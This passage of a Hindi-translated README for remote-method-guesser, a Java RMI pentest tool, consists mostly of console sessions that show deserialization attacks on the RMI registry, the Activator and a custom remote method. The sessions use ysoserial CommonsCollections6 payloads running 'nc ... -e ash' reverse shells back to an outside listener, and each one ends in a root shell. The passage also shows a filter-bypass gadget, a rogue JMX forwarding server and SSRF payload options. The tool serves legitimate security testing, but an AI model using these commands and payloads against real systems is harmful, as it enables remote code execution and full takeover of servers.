[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* क्लाइंट-सर्वर संचार में *Java serialized objects* का उपयोग करता है। यह इसे *deserialization attacks* के प्रति संभावित रूप से कमजोर बनाता है। ये हमले विभिन्न *RMI components* को लक्षित कर सकते हैं:
* ज्ञात *RMI components* (*RMI internals*)
* *RMI registry*
* *DGC*
* *Activator*
* उपयोगकर्ता-परिभाषित *RemoteObjects* (*application level*)
##### ज्ञात RMI घटक
जहाँ आधुनिक *RMI servers* इन *ज्ञात RMI घटकों* (*JEP290*) पर *deserialization filters* लागू करते हैं, वहीं पुराने सर्वर अभी भी *deserialization attacks* के प्रति कमजोर हो सकते हैं। *remote-method-guesser* ``serial`` क्रिया का उपयोग करके इसकी जाँच करने की अनुमति देता है, जो *Activator*, *Distributed Garbage Collector* (*DGC*) या *RMI registry* पर deserialization हमले कर सकता है।```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
RMI रजिस्ट्री के मामले में, डिसीरियलाइज़ेशन फ़िल्टर को JRMPClient या An Trinh बाइपास गैजेट्स का उपयोग करके बाइपास किया जा सकता है। ये गैजेट एक आउटबाउंड RMI चैनल बनाते हैं जो अब डिसीरियलाइज़ेशन फ़िल्टर लागू नहीं करता। इस चैनल पर, डिसीरियलाइज़ेशन हमले सामान्य रूप से लागू किए जा सकते हैं, लेकिन दोनों बाइपास को Java RMI के नवीनतम संस्करणों में पैच किया गया था।```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
इसके ``enum`` क्रिया के दौरान, *remote-method-guesser* आपको सूचित करता है कि क्या कोई *Activator* किसी *RMI endpoint* (पुरातन *RMI component*) पर उपस्थित है।
डिफ़ॉल्ट *Activation system* कार्यान्वयन *Activator RemoteObject* के लिए कोई डिसीरियलाइज़ेशन फ़िल्टर लागू नहीं करता है। इसलिए,
एक *Activator* endpoint पर डिसीरियलाइज़ेशन हमले सबसे हाल के *Java versions* पर भी हमेशा काम करने चाहिए।```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
जबकि आधुनिक Java RMI कार्यान्वयन डिफ़ॉल्ट रूप से deserialization filters के साथ ज्ञात RMI components की रक्षा करते हैं, कस्टम
RemoteObjects (वास्तविक RMI applications) आमतौर पर सुरक्षित नहीं होते हैं। इसलिए वे remote methods जो अपने arguments में केवल primitive types का उपयोग नहीं करते,
उनका उपयोग deserialization attacks के लिए किया जा सकता है।
यह blog post Hans-Martin Münch द्वारा
इस मुद्दे को और विस्तार से समझाता है। remote-method-guesser का उपयोग ऐसी कमजोरियों को आसानी से सत्यापित करने के लिए किया जा सकता है। उदाहरण के तौर पर,
हम remote-method-guesser के उदाहरण सर्वर की String login(java.util.HashMap dummy1) विधि का उपयोग करके एक
deserialization attack कर सकते हैं:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### अधिक विशेषताएँ
*remote-method-guesser* में कई विशेषताएँ शामिल हैं जिन्हें इस *README.md* फ़ाइल में समझाया नहीं गया है। उनमें से कुछ नीचे सूचीबद्ध हैं:
* लगभग सभी ऑपरेशनों को ``--ssrf`` विकल्प के साथ उपयोग किया जा सकता है ताकि संबंधित ऑपरेशन के लिए एक *SSRF* पेलोड बनाया जा सके।
* यदि आपने बाइनरी *RMI सर्वर* आउटपुट प्राप्त किया है (उदा. *SSRF* हमले के बाद), तो आप इसे ``--ssrf-response`` विकल्प का उपयोग करके *remote-method-guesser* में फीड कर सकते हैं। यह सर्वर आउटपुट को पार्स करता है जैसा कि निर्दिष्ट ऑपरेशन द्वारा प्राप्त किया गया था।
* *remote-method-guesser* को इसके *प्लगइन सिस्टम* का उपयोग करके विस्तारित किया जा सकता है। चार इंटरफ़ेस (``IPayloadProvider``, ``IResponseHandler``, ``IArgumentProvider`` और ``ISocketFactoryProvider``) का उपयोग *remote-method-guesser* को अधिक जटिल उपयोग परिदृश्यों में अनुकूलित करने के लिए किया जा सकता है।
* ``guess`` क्रिया के दौरान, आप ``--create-samples`` विकल्प का उपयोग करके *Java* कोड उत्पन्न कर सकते हैं जिसका उपयोग सफलतापूर्वक अनुमानित विधियों को लागू करने के लिए किया जा सकता है।
इन विशेषताओं के बारे में अधिक जानकारी [दस्तावेज़ीकरण फ़ोल्डर](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs) में पाई जा सकती है।
### डॉकर इमेज
----
संस्करण `v4.4.0` के बाद से, *remote-method-guesser* डॉकर इमेज के रूप में भी उपलब्ध है और इसे [GitHub कंटेनर रजिस्ट्री](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg) से खींचा जा सकता है। प्रत्येक रिलीज़ के लिए, एक *normal* और एक *slim* संस्करण उपलब्ध है। दोनों *remote-method-guesser* का एक पूर्ण कार्यशील संस्करण प्रदान करते हैं, लेकिन केवल *normal* संस्करण में [ysoserial](https://github.com/frohoff/ysoserial) शामिल है, जिसके परिणामस्वरूप एक बड़ी इमेज आकार होता है:
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0` - `121MB`
* `docker pull ghcr.io/qtc-de/remote-method-guesser/rmg:4.4.0-slim` - `61.9MB`
आप निम्नलिखित कमांड चलाकर कंटेनर को स्वयं भी बना सकते हैं:```console
[user@host ~]$ git clone https://github.com/qtc-de/remote-method-guesser
[user@host ~]$ cd remote-method-guesser && docker build -t rmg .
remote-method-guesser Hans-Martin Münch और Jake Miller के ब्लॉग पोस्टों से काफी प्रभावित था। इसके अलावा, rmiscout wordlist स्पष्ट रूप से rmiscout प्रोजेक्ट से कॉपी की गई थी (जैसा कि आप अलग लाइसेंस समझौते से पहले ही बता सकते हैं)। Jake को धन्यवाद, विभिन्न GitHub रिपॉजिटरी से एकत्रित remote methods की इस शानदार wordlist के लिए।
कॉपीराइट 2023, Tobias Neitzel और remote-method-guesser योगदानकर्ता।